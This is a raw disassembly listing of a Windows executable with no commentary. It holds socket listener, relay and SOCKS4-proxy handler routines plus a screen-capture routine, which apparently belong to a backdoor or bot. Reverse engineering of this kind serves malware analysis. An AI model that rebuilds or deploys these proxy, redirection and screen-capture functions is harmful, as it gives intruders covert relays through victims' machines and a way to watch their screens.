		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43F6A8
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_43C848[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407252
		push	8
		call	sub_416FA4
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A4D
		mov	esi, offset dword_43D7E8
		push	esi
		nop
		call	near ptr 26E0000h
		push	80000400h
		push	esi
		nop
		call	near ptr 26D0CFFh
		test	eax, eax
		jnz	short loc_407A4D
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4F0
		push	eax
		call	sub_4172B0
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A37
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h

loc_407A37:				; CODE XREF: sub_40797F+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_407A4D:				; CODE XREF: sub_40797F+63j
					; sub_40797F+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_424064
		mov	edi, ebx
		mov	dword_43C84C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B1A

loc_407A6B:				; CODE XREF: sub_40797F+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4A8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_416D5C
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_407767
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_407AE5

loc_407ADA:				; CODE XREF: sub_40797F+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B0C
		push	1Eh
		call	esi
		jmp	short loc_407ADA
; ---------------------------------------------------------------------------

loc_407AE5:				; CODE XREF: sub_40797F+159j
		call	near ptr 2650C45h
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B45C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_407B0C:				; CODE XREF: sub_40797F+15Ej
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A6B

loc_407B1A:				; CODE XREF: sub_40797F+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BC4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_407B2F:				; CODE XREF: sub_40797F+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_43C848[eax*8]
		push	eax
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B408
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B7D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h

loc_407B7D:				; CODE XREF: sub_40797F+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_43C84C[eax*8], ebx
		call	esi
		push	8
		call	sub_416FA4
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BB4
		push	offset dword_43D7E8
		nop
		call	near ptr 26E0000h

loc_407BB4:				; CODE XREF: sub_40797F+228j
		push	[ebp+var_2C]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 25F030Eh
		nop

loc_407BC4:				; CODE XREF: sub_40797F+19Ej
					; sub_40797F+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_43C84C[eax*8], 1
		jnz	loc_407B2F
		push	7D0h
		call	esi
		jmp	short loc_407BC4
sub_40797F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BDE	proc near		; DATA XREF: sub_40EE72+36DFo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43F668
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D42
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_4450CC[eax], ebx
		call	dword_43F584
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F694
		test	eax, eax
		jnz	loc_407D42
		push	0Ah
		push	ebx
		call	dword_43F690
		test	eax, eax
		jnz	loc_407D42

loc_407C88:				; CODE XREF: sub_407BDE+BEj
					; sub_407BDE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43F6FC
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407C88
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_42B584
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_407D66
		push	esi
		push	esi
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4450D4[ecx], eax
		jz	short loc_407D2D

loc_407D1A:				; CODE XREF: sub_407BDE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407C88
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_407D1A
; ---------------------------------------------------------------------------

loc_407D2D:				; CODE XREF: sub_407BDE+13Aj
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_42B538
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_407D45
; ---------------------------------------------------------------------------

loc_407D42:				; CODE XREF: sub_407BDE+61j
					; sub_407BDE+93j ...
		mov	edi, [ebp+arg_0]

loc_407D45:				; CODE XREF: sub_407BDE+162j
		push	edi
		call	dword_43F700
		push	ebx
		call	dword_43F700
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 25F030Eh
		pop	edi
		pop	esi
		pop	ebx
sub_407BDE	endp ; sp-analysis failed


loc_407D66:				; DATA XREF: sub_407BDE+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_43F6E8
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_407F1C
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_43F668
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_407DF6
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43F6EC
		jmp	short loc_407E04
; ---------------------------------------------------------------------------

loc_407DF6:				; CODE XREF: ___:00407DE5j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_43F620

loc_407E04:				; CODE XREF: ___:00407DF4j
		cmp	eax, edi
		jz	loc_407F1C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F1C
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B62C
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_416D5C
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_4450CC[ebx]
		mov	dword_4450C4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_4450D0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_407F4D
		push	edi
		push	edi
		call	near ptr 2680AA8h
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4450D4[ecx], eax
		jz	short loc_407F09

loc_407EB6:				; CODE XREF: ___:00407EC3j
		cmp	[ebp-20h], edi
		jnz	short loc_407EC5
		push	32h
		call	near ptr 26003D2h
		nop
		jmp	short loc_407EB6
; ---------------------------------------------------------------------------

loc_407EC5:				; CODE XREF: ___:00407EB9j
		mov	ebx, 1000h

loc_407ECA:				; CODE XREF: ___:00407F05j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		cmp	eax, edi
		jle	short loc_407F1C
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407ECA
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------

loc_407F09:				; CODE XREF: ___:00407EB4j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_42B5DC
		call	sub_40BFE1
		pop	ecx
		pop	ecx

loc_407F1C:				; CODE XREF: ___:00407DAAj
					; ___:00407E06j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_4450CC[eax]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	dword_43F700
		push	dword ptr [ebp-4]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 25F030Eh
		pop	edi
		pop	esi
		pop	ebx

loc_407F4D:				; DATA XREF: ___:00407E96o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_407F84:				; CODE XREF: ___:00407FC9j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_4450D0[esi]
		call	dword_43F680
		test	eax, eax
		jle	short loc_407FCB
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_4450CC[esi]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407F84

loc_407FCB:				; CODE XREF: ___:00407FAEj
		push	dword_4450D0[esi]
		call	dword_43F700
		push	dword ptr [ebp-14h]
		call	sub_417078
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------
		sbb	dword ptr es:[esi], 2
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FEA	proc near		; DATA XREF: sub_40EE72+5E51o

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43F668
		push	6
		push	edi
		push	2
		mov	word ptr [ebp+var_14+2], ax
		mov	[ebp+var_10], esi
		call	dword_43F6E8
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43F694
		test	eax, eax
		jnz	loc_40818C
		push	0Ah
		push	edi
		call	dword_43F690
		test	eax, eax
		jnz	loc_40818C
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080C5
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h

loc_4080C5:				; CODE XREF: sub_407FEA+B9j
					; sub_407FEA+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43F6FC
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B708
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset loc_4081EF
		push	esi
		push	esi
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4450D4[ecx], eax
		jz	short loc_40816C

loc_408159:				; CODE XREF: sub_407FEA+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080C5
		push	5
		nop
		call	near ptr 26003D2h
		jmp	short loc_408159
; ---------------------------------------------------------------------------

loc_40816C:				; CODE XREF: sub_407FEA+16Dj
		nop
		call	near ptr 2650C45h
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B6C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4080C5
; ---------------------------------------------------------------------------

loc_40818C:				; CODE XREF: sub_407FEA+7Bj
					; sub_407FEA+8Cj
		push	edi
		call	dword_43F700
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B680
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081CF
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h

loc_4081CF:				; CODE XREF: sub_407FEA+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F030Eh
		pop	edi
		pop	esi
		pop	ebx

loc_4081EF:				; DATA XREF: sub_407FEA+14Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_4450CC[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43F650
		test	eax, eax
		jnz	short loc_408270
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh

loc_408270:				; CODE XREF: sub_407FEA+26Cj
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		test	eax, eax
		jg	short loc_4082A1
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh

loc_4082A1:				; CODE XREF: sub_407FEA+29Dj
		cmp	[ebp+var_4D0], 4
		jnz	loc_40849B
		cmp	[ebp+var_4CF], 1
		jnz	loc_40849B
		cmp	[ebp+var_44], bl
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_42B830
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh

loc_408337:				; CODE XREF: sub_407FEA+2D4j
					; sub_407FEA+2EAj
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417330
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083CF
		call	dword_43F5FC
		push	eax
		push	offset unk_42B7E4
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 25F030Eh
		nop

loc_4083CF:				; CODE XREF: sub_407FEA+386j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40843E
		call	dword_43F5FC
		push	eax
		push	offset unk_42B794
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh

loc_40843E:				; CODE XREF: sub_407FEA+3F5j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		push	edi
		call	sub_4084B3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43F700
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 25F030Eh
		nop

loc_40849B:				; CODE XREF: sub_407FEA+2BEj
					; sub_407FEA+2CBj
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh
sub_407FEA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084B3	proc near		; CODE XREF: sub_407FEA+48Bp

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4084C9:				; CODE XREF: sub_4084B3+C5j
					; sub_4084B3+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]

loc_4084E1:				; CODE XREF: sub_4084B3+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4084F1
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4084E1

loc_4084F1:				; CODE XREF: sub_4084B3+33j
		cmp	ecx, 1
		jnz	short loc_408506
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2

loc_408506:				; CODE XREF: sub_4084B3+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43F650
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43F560
		test	eax, eax
		jz	short loc_408566
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE

loc_408566:				; CODE XREF: sub_4084B3+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F560
		test	eax, eax
		jz	loc_4084C9
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084C9

loc_4085AE:				; CODE XREF: sub_4084B3+9Aj
					; sub_4084B3+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085B3	proc near		; CODE XREF: sub_40EE72+45B1p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_43F654
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4087E7
		push	8
		push	edi
		call	dword_43F670
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_43F670
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_43F670
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_408615
		push	18h
		push	edi
		call	dword_43F670
		mov	ebx, 100h
		jmp	short loc_408617
; ---------------------------------------------------------------------------

loc_408615:				; CODE XREF: sub_4085B3+50j
		xor	ebx, ebx

loc_408617:				; CODE XREF: sub_4085B3+60j
		push	edi
		call	dword_43F6B4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4087CC
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_43F6AC
		cmp	eax, esi
		mov	[ebp+var_1C], eax
